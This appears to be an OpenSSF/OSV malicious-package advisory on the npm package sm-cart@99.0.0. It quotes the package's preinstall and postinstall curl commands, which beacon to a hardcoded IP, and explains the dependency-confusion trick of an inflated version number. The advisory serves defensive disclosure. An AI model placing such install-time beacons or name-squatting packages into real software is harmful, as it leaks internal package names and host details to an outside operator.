OpenSSF/OSV advisory MAL-2026-14396 confirms this npm version as malicious. Package sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run `curl -s http://16.192.173.5/sm-cart/pre` and `curl -s http://16.192.173.5/sm-cart/post` on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in sm-cart (npm)
Details
Package sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run `curl -s http://16.192.173.5/sm-cart/pre` and `curl -s http://16.192.173.5/sm-cart/post` on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.
Decision reason
OpenSSF Malicious Packages via OSV confirms sm-cart@99.0.0 as malicious (MAL-2026-14396): Malicious code in sm-cart (npm)